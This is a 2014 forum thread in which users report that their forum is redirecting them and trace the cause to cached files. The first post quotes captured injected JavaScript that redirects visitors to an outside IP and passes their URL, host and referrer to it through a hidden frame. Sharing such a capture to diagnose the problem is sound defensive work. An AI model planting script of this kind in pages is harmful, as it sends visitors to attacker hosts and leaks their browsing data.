Site: Injected/Redirected?

RedBlkJck · #1 04-30-2014, 03:56

Anyone else getting a site redirect? Started last night. I am getting random redirect upon connecting to the forum using Chrome browser and clicking for NewPost. Firefox does not seem to be doing it, probably blocking the java script.
Did a packet capture and there are no requests originating local. DNS request look good. Here is what is returned back to the browser request.

Code:

http://202.102.110.207:8080/1.htm?AIMT=http://forum.exetools.com/search.php?do=getnew&host=forum.exetools.com&refer=&server=105&pre=1398799069638

this is the code generated after clicking NewPosts

Code:

<html><head></head><script type="text/javascript"> 
var sa = "http://202.102.110.207:8080/"; var pp = "105&pre="+(new Date()).getTime(); 
var s=String(window.location.href); var host=escape(s.substring(7,s.indexOf('/',7))); 
var ref=escape(document.referrer); var su = s+"&host="+host+"&refer="+ref+"&server="+pp;
s = escape(s); function loadfr(){ document.getElementById("fr1").src = sa+"3.htm?AIMT="+su; }
function refreshPage(){ document.location = sa+"2.htm?AIMT="+su; }
if (self.location == top.location){ document.location= sa+"1.htm?AIMT="+su; }
else { refreshPage(); }</script><frameset rows="*,0"><frame id="main" src="">
<frame id="fr1" src=""></frameset><body></body></html>

The Old Pirate · #2 04-30-2014, 04:13

I confirm it. WTF? Forum hacked?

uel888 · #3 04-30-2014, 09:06

Same experience my friend :-)

ZeNiX · #4 04-30-2014, 09:36

There has been a wrong configuration on the server.
Problem should have been solved yesterday.

RedBlkJck · #5 04-30-2014, 21:44

Quote:

Originally Posted by ZeNiX

There has been a wrong configuration on the server.
Problem should have been solved yesterday.

Ah, ok. I found static files stored in the cache for the search function urls like getnew.htm. These needed to be cleared from the cache. Now the site loads as normal. FireFox was a clean install, so that's why no issues. Fixed. Thx. - jack

AlexAltea · #6 04-30-2014, 22:12

Damn, I was using IE on a non-updated machine (my fault, I know), and I got totally paranoid thinking I could have get pwned with CVE-2014-1776.

Thread Tools
Show Printable Version Email this Page
Display Modes
Linear Mode Switch to Hybrid Mode Switch to Threaded Mode

Similar Threads
Thread	Thread Starter	Forum	Replies	Last Post
Site down?	nikre	General Discussion	32	03-14-2026 15:41
LavTeam web site	alekine322	General Discussion	18	08-27-2025 03:25
Site for New Books	Zaltekk	General Discussion	25	02-22-2018 19:16
My new Site goes Online !!!	ILCH	General Discussion	19	06-19-2005 10:15

The Following User Gave Reputation+1 to The Old Pirate For This Useful Post:
RedBlkJck (04-30-2014)

The Following User Gave Reputation+1 to ZeNiX For This Useful Post:
Jhonjhon_123 (05-01-2014)